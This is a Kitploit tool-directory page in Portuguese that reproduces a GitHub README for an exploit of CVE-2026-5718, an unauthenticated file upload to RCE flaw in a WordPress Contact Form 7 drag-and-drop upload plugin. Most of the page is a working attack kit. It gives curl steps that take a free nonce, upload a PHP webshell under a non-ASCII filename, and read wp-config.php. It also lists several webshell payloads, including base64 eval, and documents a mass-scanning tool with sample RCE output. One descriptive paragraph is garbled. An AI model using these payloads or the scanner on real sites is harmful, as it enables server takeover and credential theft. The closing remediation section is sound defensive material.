Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-5718 — CVE-2026-5718: Upload de arquivo não autenticado para RCE no plugin DnD Upload CF7 | Kitploit
Ferramentas/GitHubGitHub/xxconi/cve-2026-5718
Geração de PayloadsAnálise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebSegurança WebTestes de PenetraçãoDesenvolvimento de Payloads
GitHubxxconi/cve-2026-5718

CVE-2026-5718

CVE-2026-5718: Upload de arquivo não autenticado para RCE no plugin DnD Upload CF7

Ver Repositório
1há 3 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-5718

CVE-2026-5718: Upload de Arquivo Não Autenticado para RCE no Plugin DnD Upload CF7

CVE-2026-5718 — Scanner de RCE de Upload de Arquivo do DnD CF7

Plugin: Drag and Drop Multiple File Upload for Contact Form 7 Plugin Slug: drag-and-drop-multiple-file-upload-contact-form-7 CVE ID: CVE-2026-5718 Pontuação CVSS: 8.1 (Alta) CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H Tipo de Vulnerabilidade: Upload Arbitrário de Arquivo Não Autenticado → Execução Remota de Código Versões Afetadas: <= 1.3.9.6 Versão Corrigida: 1.3.9.7 Data de Publicação: 17 de abril de 2026 Pesquisador: Leonid Semenko (lsemenenko) — Wordfence


📌 Sobre a Vulnerabilidade

No plugin Drag and Drop Multiple File Upload for Contact Form 7, dois erros lógicos independentes se combinam para permitir que atacantes não autenticados carreguem um webshell PHP.

  1. Quebra da Blacklist: A configuração personalizada de blacklist a lista padrão de extensões perigosas em vez de não é mais bloqueado.

substitui completamente
combiná-la.
php
  • Bypass Non-ASCII: A presença de caracteres não ASCII no nome do arquivo impede a chamada da função wpcf7_antiscript_file_name(). A extensão .php é preservada e o arquivo é gravado no disco.


  • 🔍 Resumo da Vulnerabilidade

    CampoValor
    Nome do PluginDrag and Drop Multiple File Upload for CF7
    CVE IDCVE-2026-5718
    Pontuação CVSS8.1 (Alta)
    Tipo de VulnerabilidadeUpload Arbitrário de Arquivo Não Autenticado
    Versão Afetada<= 1.3.9.6
    Versão Corrigida1.3.9.7
    Pré-requisitoConfiguração personalizada blacklist-types no formulário CF7

    ⚙️ Análise Técnica

    Vulnerabilidade 1 — Nonce Público (linha 62)

    root@kitploit:~
    // inc/dnd-upload-cf7.php — lines 62–71
    function dnd_wpcf7_nonce_check() {
        // Tek koruma: User-Agent'ta 'curl' kontrolü — kolayca atlatılır
        if ( strpos( $_SERVER['HTTP_USER_AGENT'], 'curl' ) !== false ) {
            wp_send_json_error('Request blocked: cURL access is forbidden.');
        }
    
        if( ! check_ajax_referer( 'dnd-cf7-security-nonce', false, false ) ){
            // Geçersiz nonce → YENİ NONCE DÖNDÜRÜR
            wp_send_json_success( wp_create_nonce( "dnd-cf7-security-nonce" ) );
        }
    }
    

    A action wp_ajax_nopriv__wpcf7_check_nonce é pública. Quando um nonce inválido é enviado, um novo nonce é fornecido gratuitamente. A verificação de curl é contornada usando um User-Agent Mozilla.


    Vulnerabilidade 2 — Substituição em vez de Mesclagem da Blacklist (linha 883)

    root@kitploit:~
    // inc/dnd-upload-cf7.php — lines 883–886
    $blacklist_types = dnd_cf7_not_allowed_ext();
    // ↑ ~80 tehlikeli uzantı: php, php3, php4, pht, phtml, phar...
    
    if ( isset( $blacklist["$cf7_upload_name"] ) && ! empty( $blacklist["$cf7_upload_name"] ) ) {
        $blacklist_types = explode( '|', $blacklist["$cf7_upload_name"] );
        // ↑ ASSIGNMENT (=) — MERGE DEĞİL
        // Özel liste: sadece ['zip']
        // 'php' artık listede YOK → kabul edilir
    }
    

    Configuração da tag de formulário que aciona a vulnerabilidade:

    root@kitploit:~
    [mfile upload-file filetypes="*" blacklist-types:zip]
    

    O administrador quer bloquear ZIP → o plugin apaga toda a denylist padrão. Todas as extensões perigosas, incluindo php, agora são aceitas.

    Além disso, a lista hardcoded para filetypes="*" também está incompleta:

    root@kitploit:~
    // line 927 — 'php', 'php3', 'php4', 'pht', 'phtml' EKSİK
    $not_allowed_ext = array( 'phar', 'svg', 'php5', 'php7', 'php8' );
    

    Vulnerabilidade 3 — Bypass Non-ASCII (linha 970)

    root@kitploit:~
    // inc/dnd-upload-cf7.php — lines 969–972
    $ascii_name = dnd_cf7_remove_icons( $filename );
    
    if ( dnd_cf7_check_ascii( $ascii_name ) ) {
        // Sadece pure-ASCII dosya adları için çağrılır
        $filename = wpcf7_antiscript_file_name( $ascii_name );
        // ↑ shell.php → shell.php.txt yapardı — ama atlanıyor
    }
    // Non-ASCII karakter varsa bu blok ATLANIR
    // $filename = "shellシ.php" → .php uzantısı korunur
    
    root@kitploit:~
    // dnd_cf7_check_ascii() — lines 1029–1041
    function dnd_cf7_check_ascii( $string ) {
        $string = sanitize_file_name( $string );
        // ↑ Sadece lokal kopya değişir, dış $filename ETKİLENMEZ
        if ( mb_check_encoding( $string, 'ASCII' ) ) {
            return true;
        }
        return false;  // Non-ASCII karakter → false → antiscript atlanır
    }
    

    🔴 Cadeia de Ataque Completa

    root@kitploit:~
    ┌─────────────────────────────────────────────────────────────┐
    │  POST /wp-admin/admin-ajax.php?action=_wpcf7_check_nonce   │
    │  User-Agent: Mozilla/5.0  (curl değil)                     │
    │       │                                                     │
    │       ▼                                                     │
    │  {"success":true,"data":"abc123def456"}                     │
    │  → Nonce ücretsiz alındı                                    │
    └──────────────────────────┬──────────────────────────────────┘
                               │
    ┌──────────────────────────▼──────────────────────────────────┐
    │  POST /wp-admin/admin-ajax.php?action=dnd_codedropz_upload  │
    │  security=abc123def456                                      │
    │  upload-file=shellシ.php (Content-Type: application/x-php) │
    │       │                                                     │
    │       ├── Nonce geçerli ✓                                   │
    │       ├── blacklist=['zip'] → 'php' engellenmez ✓          │
    │       ├── dnd_cf7_check_ascii("shellシ.php") = false        │
    │       ├── wpcf7_antiscript_file_name() ATLANIR ✓           │
    │       └── move_uploaded_file("shellシ.php") → Diske yazıldı│
    └──────────────────────────┬──────────────────────────────────┘
                               │
    ┌──────────────────────────▼──────────────────────────────────┐
    │  GET /wp-content/uploads/wp_dndcf7_uploads/                 │
    │      wpcf7-files/<uuid>/shell%E3%82%B7.php?cmd=id          │
    │       │                                                     │
    │       ▼                                                     │
    │  uid=33(www-data) gid=33(www-data) groups=33(www-data)     │
    │  → Unauthenticated RCE ✓                                    │
    └─────────────────────────────────────────────────────────────┘
    

    🧪 Prova de Conceito (Manual)

    ⚠️ Aviso Legal: Este PoC é fornecido apenas para fins educacionais e de pesquisa defensiva em segurança. Use somente em sistemas que você possui ou para os quais tenha autorização explícita por escrito para testar.

    Pré-requisitos:

    • Plugin instalado e ativo (versão <= 1.3.9.6)
    • O formulário CF7 deve conter o campo [mfile] com blacklist-types:
      root@kitploit:~
      [mfile upload-file filetypes="*" blacklist-types:zip]
      

    Passo 1 — Obter o Nonce

    root@kitploit:~
    TARGET="https://target.example.com"
    
    NONCE=$(curl -s -X POST \
      "$TARGET/wp-admin/admin-ajax.php" \
      -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64)" \
      --data "action=_wpcf7_check_nonce" \
      | python3 -c "import sys,json; print(json.load(sys.stdin)['data'])")
    
    echo "Nonce: $NONCE"
    

    Resposta esperada:

    root@kitploit:~
    {"success": true, "data": "abc123def456"}
    

    Passo 2 — Criar Webshell com Nome de Arquivo Non-ASCII

    root@kitploit:~
    # 'シ' (U+30B7 Katakana) → dnd_cf7_check_ascii() = false
    SHELL_FILENAME="shellシ.php"
    echo '<?php system($_GET["cmd"]); ?>' > "/tmp/${SHELL_FILENAME}"
    

    Passo 3 — Enviar o Shell

    root@kitploit:~
    FORM_ID=1
    FIELD_NAME="upload-file"
    SESSION_FOLDER=$(uuidgen | tr '[:upper:]' '[:lower:]' | tr -d '-')
    
    curl -s -X POST "$TARGET/wp-admin/admin-ajax.php" \
      -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64)" \
      -F "action=dnd_codedropz_upload" \
      -F "security=${NONCE}" \
      -F "form_id=${FORM_ID}" \
      -F "upload_name=${FIELD_NAME}" \
      -F "upload_folder=${SESSION_FOLDER}" \
      -F "upload-file=@/tmp/${SHELL_FILENAME};type=application/x-php"
    

    Resposta esperada:

    root@kitploit:~
    {
      "success": true,
      "data": {
        "path": "<session-folder-uuid>",
        "file": "shellシ.php"
      }
    }
    

    Passo 4 — Gerar a URL do Shell

    root@kitploit:~
    UPLOAD_PATH="<path-from-response>"
    SHELL_URL="$TARGET/wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/${UPLOAD_PATH}/shell%E3%82%B7.php"
    echo "Shell URL: $SHELL_URL"
    

    Passo 5 — Acionar o RCE

    root@kitploit:~
    # id komutu
    curl -s "${SHELL_URL}?cmd=id"
    # uid=33(www-data) gid=33(www-data) groups=33(www-data)
    
    # wp-config.php oku
    curl -s "${SHELL_URL}?cmd=cat+/var/www/html/wp-config.php"
    

    🛠️ Scanner Automatizado

    Instalação

    root@kitploit:~
    git clone https://github.com/kullanici/cve-2026-5718-scanner
    cd cve-2026-5718-scanner
    pip install -r requirements.txt
    

    requirements.txt

    root@kitploit:~
    requests
    

    🚀 Uso

    Alvo Único — Totalmente Automático

    root@kitploit:~
    python dnd_cf7_upload.py -u http://hedef.com
    

    Form ID e Nome do Campo Manual

    root@kitploit:~
    python dnd_cf7_upload.py -u http://hedef.com \
      --form-id 1 --field-name upload-file
    

    Shell Completo + Comando Personalizado

    root@kitploit:~
    python dnd_cf7_upload.py -u http://hedef.com \
      --shell-type full --verify-cmd "whoami"
    

    Varredura em Massa

    root@kitploit:~
    python dnd_cf7_upload.py -l targets.txt -t 20 -o sonuclar.txt
    

    Com Proxy (Burp Suite)

    root@kitploit:~
    python dnd_cf7_upload.py -u http://hedef.com \
      --proxy http://127.0.0.1:8080
    

    ⚙️ Parâmetros

    ParâmetroCurtoDescriçãoPadrão
    --url-uURL do alvo único—
    --list-lArquivo com lista de alvos—
    --threads-tNúmero de threads10
    --output-oArquivo de saídarce_results.txt
    --form-id—ID do formulário CF7detecção automática
    --field-name—Nome do campo mfileupload-file
    --shell-name—Nome do arquivo do shellshell
    --shell-type—Tipo do shellsystem
    --verify-cmd—Comando de verificação do RCEid
    --proxy—URL do proxy—
    --timeout—Timeout da requisição (s)10
    --force—Continuar mesmo se a detecção do plugin falharFalse

    💀 Tipos de Shell

    TipoPayloadDescrição
    system<?php system($_GET["cmd"]); ?>Comando básico do sistema
    passthru<?php passthru($_GET["cmd"]); ?>Saída bruta
    exec<?php echo exec($_GET["cmd"]); ?>Execução silenciosa
    assert<?php assert($_POST["cmd"]); ?>eval via POST
    b64<?php eval(base64_decode($_POST["cmd"])); ?>Ofuscação Base64
    fullshell_exec + system + exec fallbackAbrangente

    🔤 Conjunto de Caracteres Non-ASCII

    O scanner tenta os seguintes caracteres em sequência:

    CaractereUnicodeDescrição
    シU+30B7Katakana Si (usado no PoC)
    жU+0436Cirílico
    ñU+00F1Latino Estendido
    中U+4E2DCJK
    αU+03B1Grego
    ßU+00DFAlemão

    📂 Local de Upload do Shell

    root@kitploit:~
    WordPress Kök/
    └── wp-content/
        └── uploads/
            └── wp_dndcf7_uploads/
                └── wpcf7-files/
                    └── <session-uuid>/
                        └── shellシ.php   ← Shell burada
    

    ⚠️ Nota: Por padrão, o plugin limpa os arquivos após 1 hora. O shell permanece acessível durante esse período.


    📊 Status de Saída do Scanner

    StatusDescrição
    ★ RCE OKShell enviado + comando executado
    ★ SHELL ALIVEShell acessível, resposta diferente
    ~ EXEC_DISABLEDShell existe, exec() desabilitado
    ~ HTACCESSShell enviado, mas bloqueado por .htaccess
    ? UPLOADEDEnviado, mas URL não encontrada
    - UPL_FAILUpload falhou (corrigido/sem configuração)
    ~ NO_NONCENonce não pôde ser obtido
    - NO_PLUGINPlugin não instalado
    ~ UNREACHAlvo inacessível

    🖥️ Exemplo de Saída do Scanner

    root@kitploit:~
    [*] Hedef       : http://hedef.com
    [*] Form ID     : otomatik tespit
    [*] Shell Tipi  : system
    [*] Verify CMD  : id
    
    [→] http://hedef.com  Adım 1/5: Nonce alınıyor...
    [→] http://hedef.com  Adım 2/5: CF7 form tespiti...
    [→] http://hedef.com  Adım 3/5: Shell yükleniyor (non-ASCII bypass)...
    [→] http://hedef.com  Adım 4/5: Shell URL oluşturuluyor...
    [→] http://hedef.com  Adım 5/5: RCE doğrulanıyor...
    
    ═════════════════════════════════════════════════════════════════
    [★ RCE OK    ] http://hedef.com
      Sürüm       : 1.3.9.6
      Nonce       : abc123def4  (kaynak: ajax_endpoint)
      Non-ASCII   : シ
      Shell URL   : http://hedef.com/wp-content/uploads/wp_dndcf7_uploads/
                    wpcf7-files/a1b2c3d4e5f6/shell%E3%82%B7.php
      RCE Çıktı  : uid=33(www-data) gid=33(www-data) groups=33(www-data)
    ═════════════════════════════════════════════════════════════════
    
    [+] Kaydedildi → rce_results.txt
    

    🛡️ Defesa / Correção

    MedidaImplementação
    Atualização do PluginAtualizar para a versão 1.3.9.7+
    Mesclagem da BlacklistUsar array_merge() em vez de =
    Antiscript Incondicionalwpcf7_antiscript_file_name() deve ser sempre chamado
    Proteção do NonceO endpoint do nonce deve ser fechado para acesso público
    .htaccessBloquear execução de PHP no diretório de uploads

    Mesclagem segura da blacklist:

    root@kitploit:~
    // Güvensiz (mevcut — 1.3.9.6)
    $blacklist_types = explode( '|', $blacklist["$cf7_upload_name"] );
    
    // Güvenli (önerilen — 1.3.9.7+)
    $blacklist_types = array_merge(
        dnd_cf7_not_allowed_ext(),
        explode( '|', $blacklist["$cf7_upload_name"] )
    );
    

    Antiscript incondicional:

    root@kitploit:~
    // Güvensiz (mevcut)
    if ( dnd_cf7_check_ascii( $ascii_name ) ) {
        $filename = wpcf7_antiscript_file_name( $ascii_name );
    }
    
    // Güvenli (önerilen)
    $filename = wpcf7_antiscript_file_name( $filename );  // her zaman çağır
    

    .htaccess do diretório de uploads:

    root@kitploit:~
    <FilesMatch "\.php\d?$">
        Deny from all
    </FilesMatch>
    Options -ExecCGI
    AddType text/plain .php .php5 .phtml .phar
    

    📁 Estrutura de Arquivos

    root@kitploit:~
    cve-2026-5718-scanner/
    ├── dnd_cf7_upload.py   # Ana tarayıcı
    ├── requirements.txt    # Bağımlılıklar
    └── README.md           # Bu dosya
    

    ⚠️ Aviso Legal

    Esta ferramenta e este PoC foram preparados para uso exclusivo em sistemas autorizados, para fins educacionais e no âmbito de testes de penetração. O uso em sistemas sem autorização constitui crime nos termos dos artigos 243-245 do Código Penal Turco e das leis internacionais de crimes cibernéticos. O desenvolvedor não aceita nenhuma responsabilidade legal decorrente do uso indevido da ferramenta.


    📄 Licença

    Licença MIT — Apenas para fins educacionais e de pesquisa.


    🔗 Referências

    • Aviso da Wordfence
    • Diretório de Plugins do WordPress
    • Calculadora CVSS 3.1
    • CWE-434: Upload Irrestrito de Arquivo com Tipo Perigoso
    • Caracteres Não ASCII Unicode
    Baixar ferramenta